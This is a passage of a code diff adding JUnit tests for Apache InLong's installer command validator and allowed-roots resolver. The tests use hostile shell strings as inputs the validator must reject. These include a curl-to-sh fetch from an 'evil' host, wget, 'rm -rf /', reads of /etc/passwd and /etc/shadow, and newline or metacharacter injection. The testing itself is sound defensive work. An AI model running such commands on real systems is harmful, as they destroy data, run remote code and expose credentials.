Files.exists(nonExistent));
+            Assert.assertFalse("path traversal via .. must be rejected in 
fallback path",
+                    resolver.isUnderAllowedRoot(nonExistent));
+        } finally {
+            deleteRecursively(base);
+        }
+    }
+
+    /**
+     * {@code ofPaths} with no argument, a {@code null} array, or a {@code 
null} element must
+     * all succeed and simply produce an empty root set (or skip the null 
element). Prevents a
+     * future refactor from dropping the defensive null-checks.
+     */
+    @Test
+    public void ofPaths_nullAndEmptyInputs_shouldNotThrow() {
+        Assert.assertTrue("no argument should yield empty roots",
+                AllowedRootsResolver.ofPaths().getRoots().isEmpty());
+        Assert.assertTrue("null Path[] should yield empty roots",
+                AllowedRootsResolver.ofPaths((Path[]) 
null).getRoots().isEmpty());
+
+        Path root = Paths.get(System.getProperty("java.io.tmpdir"), 
"inlong-test-root");
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root, 
null);
+        Assert.assertTrue("non-null element must still be honoured",
+                resolver.isUnderAllowedRoot(root.resolve("child")));
+    }
+
+    /**
+     * A root that does not yet exist on disk (only the lexical form was 
stored) must still
+     * match itself. This pins the "branch ③ lexical fallback" positive case.
+     */
+    @Test
+    public void isUnderAllowedRoot_rootItselfWhenRootMissing_shouldMatch() {
+        Path root = Paths.get(System.getProperty("java.io.tmpdir"),
+                "inlong-nonexistent-root-" + System.nanoTime());
+        Assert.assertFalse("precondition: root must not exist", 
Files.exists(root));
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(root);
+        Assert.assertTrue("root itself must match even when it does not yet 
exist",
+                resolver.isUnderAllowedRoot(root));
+    }
+
+    /**
+     * A relative path input must be resolved against the current working 
directory before
+     * the containment check. Guards against a refactor that accidentally 
compares raw
+     * relative paths against absolute roots.
+     */
+    @Test
+    public void isUnderAllowedRoot_relativePath_shouldBeResolvedAgainstCwd() {
+        Path cwd = Paths.get("").toAbsolutePath();
+        AllowedRootsResolver resolver = AllowedRootsResolver.ofPaths(cwd);
+
+        Path relative = Paths.get("relative-child-" + System.nanoTime());
+        Assert.assertFalse(relative.isAbsolute());
+        Assert.assertTrue("relative path must resolve under the CWD root",
+                resolver.isUnderAllowedRoot(relative));
+    }
+
+    /**
+     * End-to-end check that a root injected via {@code 
installer.command.extraAllowedRoots}
+     * is not only present in {@code getRoots()} but also accepted by
+     * {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}.
+     */
+    @Test
+    public void build_extraAllowedRoots_shouldBeUsedByIsUnderAllowedRoot() {
+        String extraRoot = Paths.get(System.getProperty("java.io.tmpdir"),
+                "extra-root-" + 
System.nanoTime()).toAbsolutePath().normalize().toString();
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, extraRoot);
+
+        AllowedRootsResolver resolver = AllowedRootsResolver.build(conf);
+        Assert.assertTrue("child of extra root must be accepted",
+                resolver.isUnderAllowedRoot(Paths.get(extraRoot, "child")));
+    }
+
+    /**
+     * A CSV made entirely of commas and blanks must not add any spurious 
root. Exercises the
+     * inner {@code for} loop's per-item {@code isNotBlank} guard, which the 
existing
+     * "blankValue" test does not reach (that one is short-circuited by the 
outer check).
+     */
+    @Test
+    public void build_extraAllowedRoots_allBlankItems_shouldAddNoRoot() {
+        System.clearProperty(AgentConstants.AGENT_HOME);
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(AgentConstants.AGENT_HOME, null);
+
+        // Baseline: no extra roots configured.
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, null);
+        Set<Path> baseline = AllowedRootsResolver.build(conf).getRoots();
+
+        // Same config, but the extra-roots CSV is all blanks/commas.
+        conf.set(AllowedRootsResolver.KEY_EXTRA_ALLOWED_ROOTS, ",, , ,");
+        Set<Path> withBlankCsv = AllowedRootsResolver.build(conf).getRoots();
+
+        Assert.assertEquals("CSV of only blanks/commas must not add roots",
+                baseline, withBlankCsv);
+    }
+
+    /**
+     * A root whose canonical location differs from its lexical form (e.g. on 
macOS
+     * {@code /tmp} is a symlink to {@code /private/tmp}) must still match 
children queried
+     * via either form. This regression-guards the cross-platform issue where 
addRoot stores
+     * both the normalized and real path forms.
+     */
+    @Test
+    public void 
isUnderAllowedRoot_rootBehindSymlink_shouldMatchViaEitherForm() throws 
IOException {
+        Path base = Files.createTempDirectory("allowedroot-symlink-root-");
+        try {
+            Path realDir = base.resolve("real");
+            Files.createDirectory(realDir);
+            Path linkDir = base.resolve("link");
+            try {
+                Files.createSymbolicLink(linkDir, realDir);
+            } catch (UnsupportedOperationException | IOException e) {
+                // Filesystem does not support symlinks; nothing to verify.
+                return;
+            }
+
+            // Register the root via the symlinked path.
+            AllowedRootsResolver resolver = 
AllowedRootsResolver.ofPaths(linkDir);
+
+            Files.createFile(linkDir.resolve("file.txt"));
+
+            Assert.assertTrue("child queried via symlink path must match",
+                    resolver.isUnderAllowedRoot(linkDir.resolve("file.txt")));
+            Assert.assertTrue("child queried via real path must also match",
+                    resolver.isUnderAllowedRoot(realDir.resolve("file.txt")));
+        } finally {
+            deleteRecursively(base);
+        }
+    }
+
+    // ------------------------------------------------------------------
+    // Helpers
+    // ------------------------------------------------------------------
+
+    /** Resolve to real path when the path exists, otherwise normalize. */
+    private static Path toRealOrNormalized(Path p) {
+        try {
+            return p.toRealPath();
+        } catch (IOException e) {
+            return p.normalize();
+        }
+    }
+
+    private static void deleteRecursively(Path dir) throws IOException {
+        if (Files.exists(dir)) {
+            try (Stream<Path> stream = Files.walk(dir)) {
+                stream.sorted(Comparator.reverseOrder())
+                        .forEach(p -> {
+                            try {
+                                Files.delete(p);
+                            } catch (IOException ignored) {
+                            }
+                        });
+            }
+        }
+    }
+}
diff --git 
a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java
 
b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java
new file mode 100644
index 0000000000..dd3f1dc894
--- /dev/null
+++ 
b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java
@@ -0,0 +1,494 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package installer;
+
+import org.apache.inlong.agent.installer.conf.InstallerConfiguration;
+import org.apache.inlong.agent.installer.validator.AllowedRootsResolver;
+import org.apache.inlong.agent.installer.validator.CommandWhitelistResolver;
+import org.apache.inlong.agent.installer.validator.ModuleCommandValidator;
+import 
org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd;
+import 
org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.List;
+import java.util.Set;
+
+/* Unit tests for {@link ModuleCommandValidator}. */
+public class ModuleCommandValidatorTest {
+
+    private ModuleCommandValidator validator;
+    private AllowedRootsResolver defaultRoots;
+
+    @Before
+    public void setUp() {
+        /* Roots matching commands from Manager */
+        String userHome = System.getProperty("user.home");
+        Path inlongRoot = Paths.get(userHome, "inlong");
+        Path tmpRoot = Paths.get(System.getProperty("java.io.tmpdir"));
+        defaultRoots = AllowedRootsResolver.ofPaths(inlongRoot, tmpRoot);
+        validator = new ModuleCommandValidator(defaultRoots);
+    }
+
+    @Test
+    public void legal_startCommand_shouldPassAndBindWorkDir() {
+        ValidationResult r = validator.validate("cd 
~/inlong/inlong-agent/bin;sh agent.sh start");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(1, parsed.size());
+        ParsedSubCmd sh = parsed.get(0);
+        Assert.assertArrayEquals(new String[]{"sh", "agent.sh", "start"}, 
sh.getArgv());
+        Assert.assertNotNull("cd should bind workDir", sh.getWorkDir());
+        
Assert.assertTrue(sh.getWorkDir().toString().endsWith("inlong/inlong-agent/bin"));
+    }
+
+    @Test
+    public void legal_checkCommand_pipelineShouldSplit() {
+        ValidationResult r = validator.validate(
+                "ps aux | grep core.AgentMain | grep java | grep -v grep | awk 
'{print $2}'");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(1, parsed.size());
+        ParsedSubCmd sub = parsed.get(0);
+        Assert.assertTrue(sub.isPiped());
+        List<String[]> pipeline = sub.getPipeline();
+        Assert.assertEquals(5, pipeline.size());
+        Assert.assertArrayEquals(new String[]{"ps", "aux"}, pipeline.get(0));
+        Assert.assertArrayEquals(new String[]{"grep", "core.AgentMain"}, 
pipeline.get(1));
+        Assert.assertArrayEquals(new String[]{"awk", "{print $2}"}, 
pipeline.get(4));
+    }
+
+    @Test
+    public void legal_installCommand_multiSubShouldPass() {
+        String cmd = "cd ~/inlong/inlong-agent/bin;sh agent.sh stop"
+                + ";rm -rf ~/inlong/inlong-agent-temp"
+                + ";mkdir -p ~/inlong/inlong-agent-temp"
+                + ";cp -r ~/inlong/inlong-agent/.localdb 
~/inlong/inlong-agent-temp";
+        ValidationResult r = validator.validate(cmd);
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        /* cd absorbed as workDir, leaving 4 sub-commands: sh / rm / mkdir / 
cp */
+        Assert.assertEquals(4, parsed.size());
+        Assert.assertEquals("sh", parsed.get(0).getArgv()[0]);
+        Assert.assertEquals("rm", parsed.get(1).getArgv()[0]);
+        Assert.assertEquals("mkdir", parsed.get(2).getArgv()[0]);
+        Assert.assertEquals("cp", parsed.get(3).getArgv()[0]);
+        Assert.assertNotNull(parsed.get(0).getWorkDir());
+    }
+
+    /* cd applies to all subsequent subs until next cd (POSIX shell semantics) 
*/
+    @Test
+    public void cd_shouldApplyToAllFollowingSubsUntilNextCd() {
+        /* use tmp root from setUp() so path policy doesn't reject cd on macOS 
(/tmp symlink) */
+        String tmp = 
Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString();
+        String cmd = "cd " + tmp + ";mkdir " + tmp + "/e2e-cd-scope"
+                + ";tar -xzvf " + tmp + "/dummy.tar.gz -C " + tmp + 
"/e2e-cd-scope";
+        ValidationResult r = validator.validate(cmd);
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(2, parsed.size());
+        Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]);
+        Assert.assertEquals("tar", parsed.get(1).getArgv()[0]);
+        Assert.assertNotNull("mkdir must inherit cd's workDir", 
parsed.get(0).getWorkDir());
+        Assert.assertNotNull("tar must ALSO inherit cd's workDir (shell 
semantics)",
+                parsed.get(1).getWorkDir());
+        /* both must point to the same target, proving cd persists */
+        Assert.assertEquals(parsed.get(0).getWorkDir(), 
parsed.get(1).getWorkDir());
+        Assert.assertEquals(tmp, parsed.get(0).getWorkDir().toString());
+    }
+
+    /* later cd overrides earlier cd's workDir */
+    @Test
+    public void cd_shouldBeOverriddenByNextCd() {
+        String userHome = System.getProperty("user.home");
+        String tmp = 
Paths.get(System.getProperty("java.io.tmpdir")).toAbsolutePath().normalize().toString();
+        String cmd = "cd " + userHome + "/inlong;mkdir " + userHome + 
"/inlong/a"
+                + ";cd " + tmp + ";mkdir " + tmp + "/b";
+        ValidationResult r = validator.validate(cmd);
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(2, parsed.size());
+        Assert.assertEquals("mkdir", parsed.get(0).getArgv()[0]);
+        Assert.assertEquals("mkdir", parsed.get(1).getArgv()[0]);
+        /* 1st mkdir under ~/inlong ; 2nd under tmp */
+        
Assert.assertTrue(parsed.get(0).getWorkDir().toString().endsWith("inlong"));
+        Assert.assertEquals(tmp, parsed.get(1).getWorkDir().toString());
+        Assert.assertNotEquals(parsed.get(0).getWorkDir(), 
parsed.get(1).getWorkDir());
+    }
+
+    @Test
+    public void illegal_curlPipe_shouldRejectByMetaChar() {
+        /* "&&" hits metacharacter blacklist */
+        ValidationResult r = validator.validate(
+                "cd ~/inlong/inlong-agent/bin;sh agent.sh start && curl 
http://evil/x.sh | sh");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void illegal_rmSlash_shouldRejectByPath() {
+        ValidationResult r = validator.validate("sh agent.sh start; rm -rf /");
+        assertRejected(r, 
ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+        Assert.assertTrue(r.getFailedSubCmd().contains("rm"));
+    }
+
+    @Test
+    public void illegal_dollarParen_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("echo $(cat /etc/passwd)");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    /* P0: glob wildcards * and ? are rejected */
+
+    @Test
+    public void illegal_starWildcard_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("rm -rf ~/inlong/tmp/*.log");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+        Assert.assertTrue("reject message must mention the offending meta char 
'*', got: " + r.getMessage(),
+                r.getMessage().contains("*"));
+    }
+
+    @Test
+    public void illegal_questionMarkWildcard_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("rm -rf 
~/inlong/tmp/log?.txt");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+        Assert.assertTrue("reject message must mention the offending meta char 
'?', got: " + r.getMessage(),
+                r.getMessage().contains("?"));
+    }
+
+    @Test
+    public void illegal_starInMiddleOfPath_shouldRejectByMetaChar() {
+        /* glob buried inside path must still be rejected, else rm -rf 
~/inlong/*\/logs no-ops */
+        ValidationResult r = validator.validate("rm -rf ~/inlong/*/logs");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    /* P1: quote-aware split-by-';' and split-by-'|' */
+
+    @Test
+    public void semicolonInsideDoubleQuotes_shouldNotSplit() {
+        ValidationResult r = validator.validate("echo \"hello;world\"");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals("';' inside double quotes must not split", 1, 
parsed.size());
+        Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, 
parsed.get(0).getArgv());
+    }
+
+    @Test
+    public void semicolonInsideSingleQuotes_shouldNotSplit() {
+        ValidationResult r = validator.validate("echo 'hello;world'");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(1, parsed.size());
+        Assert.assertArrayEquals(new String[]{"echo", "hello;world"}, 
parsed.get(0).getArgv());
+    }
+
+    @Test
+    public void pipeInsideDoubleQuotes_shouldNotSplitPipeline() {
+        /* grep with regex alternation: "ERR|WARN" must not be parsed as 
pipeline */
+        ValidationResult r = validator.validate("grep \"ERR|WARN\" 
~/inlong/app.log");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(1, parsed.size());
+        Assert.assertFalse("must NOT be parsed as a pipeline", 
parsed.get(0).isPiped());
+        /* tokenizer preserves literal argv; tilde expansion deferred to 
path-policy check */
+        Assert.assertArrayEquals(new String[]{"grep", "ERR|WARN", 
"~/inlong/app.log"},
+                parsed.get(0).getArgv());
+    }
+
+    @Test
+    public void pipeInsideSingleQuotes_shouldNotSplitPipeline() {
+        ValidationResult r = validator.validate("grep 'foo|bar' 
~/inlong/app.log");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(1, parsed.size());
+        Assert.assertFalse(parsed.get(0).isPiped());
+        Assert.assertArrayEquals(new String[]{"grep", "foo|bar", 
"~/inlong/app.log"},
+                parsed.get(0).getArgv());
+    }
+
+    @Test
+    public void mixedQuotedAndUnquotedSemicolons_shouldSplitOnlyTopLevel() {
+        /* first ";" is real boundary, second ";" is inside quoted argv */
+        ValidationResult r = validator.validate("echo one; echo 
\"two;three\"");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(2, parsed.size());
+        Assert.assertArrayEquals(new String[]{"echo", "one"}, 
parsed.get(0).getArgv());
+        Assert.assertArrayEquals(new String[]{"echo", "two;three"}, 
parsed.get(1).getArgv());
+    }
+
+    @Test
+    public void mixedQuotedAndUnquotedPipes_shouldSplitOnlyTopLevel() {
+        /* top-level "|" builds 2-stage pipeline; quoted "|" stays literal */
+        ValidationResult r = validator.validate("echo hello | grep \"h|i\"");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+        List<ParsedSubCmd> parsed = r.getParsed();
+        Assert.assertEquals(1, parsed.size());
+        ParsedSubCmd sub = parsed.get(0);
+        Assert.assertTrue("must be piped", sub.isPiped());
+        List<String[]> pipeline = sub.getPipeline();
+        Assert.assertEquals("exactly two pipe stages", 2, pipeline.size());
+        Assert.assertArrayEquals(new String[]{"echo", "hello"}, 
pipeline.get(0));
+        Assert.assertArrayEquals(new String[]{"grep", "h|i"}, pipeline.get(1));
+    }
+
+    @Test
+    public void unterminatedQuote_shouldReject() {
+        /* unterminated quote must fail validation rather than silently 
mis-parse */
+        ValidationResult r = validator.validate("echo \"hello");
+        assertRejected(r, ModuleCommandValidator.RULE_EMPTY_COMMAND);
+    }
+
+    @Test
+    public void illegal_wget_shouldRejectByWhitelist() {
+        ValidationResult r = validator.validate("sh agent.sh start; wget 
http://evil";);
+        assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+    }
+
+    @Test
+    public void illegal_pathTraversal_shouldRejectByPath() {
+        /* ~/inlong/../../../etc normalizes to /etc, outside all allowed roots 
*/
+        ValidationResult r = validator.validate("rm -rf 
~/inlong/../../../etc");
+        assertRejected(r, 
ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+    }
+
+    @Test
+    public void illegal_shDashC_shouldRejectByForbiddenFlag() {
+        /* avoid $( or && in payload so metacharacter check fires after -c 
check */
+        ValidationResult r = validator.validate("sh -c echo hello");
+        assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG);
+    }
+
+    @Test
+    public void bashDashC_shouldAlsoBeRejected() {
+        ValidationResult r = validator.validate("bash -c echo hello");
+        assertRejected(r, ModuleCommandValidator.RULE_FORBIDDEN_SH_C_FLAG);
+    }
+
+    @Test
+    public void extraAllowedRoots_shouldPermitCustomRoot() {
+        /* without /opt/inlong: reject */
+        ValidationResult r1 = validator.validate("rm -rf /opt/inlong/tmp");
+        assertRejected(r1, 
ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+
+        /* after adding /opt/inlong: accept */
+        AllowedRootsResolver extended = AllowedRootsResolver.ofPaths(
+                Paths.get(System.getProperty("user.home"), "inlong"),
+                Paths.get(System.getProperty("java.io.tmpdir")),
+                Paths.get("/opt/inlong"));
+        ModuleCommandValidator extendedValidator = new 
ModuleCommandValidator(extended);
+        ValidationResult r2 = extendedValidator.validate("rm -rf 
/opt/inlong/tmp");
+        Assert.assertTrue("expected ok after adding /opt/inlong, got " + r2, 
r2.isOk());
+    }
+
+    @Test
+    public void chmodNumericMode_shouldNotBeTreatedAsPath() {
+        /* "755" has no slash, not treated as path; ~/inlong/... is under 
allowed root */
+        ValidationResult r = validator.validate("chmod 755 
~/inlong/inlong-agent/bin/agent.sh");
+        Assert.assertTrue("expected ok, got " + r, r.isOk());
+    }
+
+    @Test
+    public void emptyCommand_shouldReject() {
+        assertRejected(validator.validate(""), 
ModuleCommandValidator.RULE_EMPTY_COMMAND);
+        assertRejected(validator.validate("   "), 
ModuleCommandValidator.RULE_EMPTY_COMMAND);
+    }
+
+    @Test
+    public void backtick_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("echo `id`");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void dollarBrace_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("echo ${HOME}");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void doublePipe_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("sh agent.sh stop || rm -rf 
/");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void backslash_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("echo hello\\ world");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void nullByte_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("echo foo\u0000bar");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void redirect_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("cat ~/inlong/a > ~/inlong/b");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void newline_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("sh agent.sh start\nrm -rf /");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    /* here-string "<<<": "<" on metacharacter blacklist */
+    @Test
+    public void hereString_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("grep foo <<< payload");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    /* process substitution "<(...)": "<" on metacharacter blacklist */
+    @Test
+    public void processSubstitution_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("grep foo <(cat ~/inlong/x)");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    /* variable-assignment prefix: "PATH=/tmp/evil" not on whitelist */
+    @Test
+    public void varAssignPrefix_shouldRejectByWhitelist() {
+        ValidationResult r = validator.validate("PATH=/tmp/evil ls");
+        assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+    }
+
+    /* append redirect ">>" on metacharacter blacklist */
+    @Test
+    public void appendRedirect_shouldRejectByMetaChar() {
+        ValidationResult r = validator.validate("echo hi >> ~/inlong/log");
+        assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR);
+    }
+
+    @Test
+    public void expandTilde_shouldReplaceHomePrefixOnly() {
+        String home = System.getProperty("user.home");
+        Assert.assertEquals(home, ModuleCommandValidator.expandTilde("~"));
+        Assert.assertEquals(home + "/foo", 
ModuleCommandValidator.expandTilde("~/foo"));
+        Assert.assertEquals("/abs/path", 
ModuleCommandValidator.expandTilde("/abs/path"));
+        /* only replace prefix tildes, not embedded ones */
+        Assert.assertEquals("a~b", ModuleCommandValidator.expandTilde("a~b"));
+    }
+
+    /* Configurable whitelist tests */
+
+    /* Reset config keys set during test so others see shipped defaults. */
+    @After
+    public void clearConfigOverrides() {
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "");
+        conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "");
+    }
+
+    private ModuleCommandValidator newValidatorFromConf() {
+        return new ModuleCommandValidator(defaultRoots, 
InstallerConfiguration.getInstallerConf());
+    }
+
+    @Test
+    public void configExtraCommandWhitelist_shouldAllowCustomArgv0() {
+        // 'nohup' is not in baseline; without configuration, it is rejected.
+        ValidationResult before = validator.validate("nohup java -jar 
~/inlong/x.jar");
+        assertRejected(before, ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+
+        // With extraCommandWhitelist=nohup it must pass.
+        InstallerConfiguration.getInstallerConf()
+                .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, 
"nohup");
+        ModuleCommandValidator v = newValidatorFromConf();
+        ValidationResult after = v.validate("nohup java -jar ~/inlong/x.jar");
+        Assert.assertTrue("expected ok after adding nohup, got " + after, 
after.isOk());
+    }
+
+    @Test
+    public void configIllegalEntry_shouldBeSkippedButOthersKept() {
+        // 'my;cmd' contains ';' and must be dropped; 'python3' is legal and 
must survive.
+        InstallerConfiguration.getInstallerConf()
+                .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, 
"my;cmd,python3, echo bad ,ok_name");
+        ModuleCommandValidator v = newValidatorFromConf();
+        Set<String> effective = v.getEffectiveCommandWhitelist();
+        Assert.assertFalse("entries containing ';' must be dropped", 
effective.contains("my;cmd"));
+        Assert.assertFalse("entries containing whitespace must be dropped", 
effective.contains("echo bad"));
+        Assert.assertTrue("well-formed 'python3' must be kept", 
effective.contains("python3"));
+        Assert.assertTrue("well-formed 'ok_name' must be kept", 
effective.contains("ok_name"));
+    }
+
+    @Test
+    public void configExtraWriteLikeCommand_shouldTriggerPathRootCheck() {
+        // Make 'dd' both an allowed argv[0] and a write-like command; a path 
outside allowed
+        // roots must now be rejected via PATH_NOT_UNDER_ALLOWED_ROOT rather 
than sneak past.
+        InstallerConfiguration conf = 
InstallerConfiguration.getInstallerConf();
+        conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "dd");
+        conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd");
+        ModuleCommandValidator v = newValidatorFromConf();
+
+        Assert.assertTrue(v.getEffectiveCommandWhitelist().contains("dd"));
+        Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd"));
+
+        // 'if=/etc/shadow' contains '/', so looksLikePath treats it as a path 
argument for a
+        // write-like command; because /etc/shadow is not under any allowed 
root, PATH check fires.
+        assertRejected(v.validate("dd if=/etc/shadow of=/tmp-forbidden/x"),
+                ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+        // Same idea with a plain positional path argument.
+        assertRejected(v.validate("dd /etc/shadow"),
+                ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT);
+
+        // A path under an allowed root must pass.
+        Assert.assertTrue(v.validate("dd " + 
Paths.get(System.getProperty("user.home"), "inlong", "x.bin"))
+                .isOk());
+    }
+
+    @Test
+    public void 
configExtraWriteLikeButNotWhitelisted_shouldWarnAndNotAffectBehavior() {
+        // 'dd' is listed as write-like but never added to argv[0] whitelist. 
Behaviour must
+        // stay identical to the baseline: 'dd' is rejected on the argv[0] 
whitelist step.
+        InstallerConfiguration.getInstallerConf()
+                .set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, 
"dd");
+        ModuleCommandValidator v = newValidatorFromConf();
+        Assert.assertFalse(v.getEffectiveCommandWhitelist().contains("dd"));
+        // Effective write-like set contains the extra entry (the WARN is a 
hint, not a filter).
+        Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd"));
+        assertRejected(v.validate("dd /etc/shadow"),
+                ModuleCommandValidator.RULE_NOT_IN_WHITELIST);
+    }
+
+    @Test
+    public void configIntactBaseline_whenNoExtraProvided() {
+        // No config touched → effective set must equal baseline exactly.
+        ModuleCommandValidator v = newValidatorFromConf();
+        
Assert.assertEquals(CommandWhitelistResolver.BASELINE_COMMAND_WHITELIST,
+                v.getEffectiveCommandWhitelist());
+        
Assert.assertEquals(CommandWhitelistResolver.BASELINE_WRITE_LIKE_COMMANDS,
+                v.getEffectiveWriteLikeCommands());
+    }
+
+    /* --- helper --- */
+
+    private void assertRejected(ValidationResult r, String expectedRule) {
+        Assert.assertFalse("expected rejected, got " + r, r.isOk());
+        Assert.assertEquals("rule name mismatch, msg=" + r.getMessage(),
+                expectedRule, r.getRuleName());
+    }
+}


Reply via email to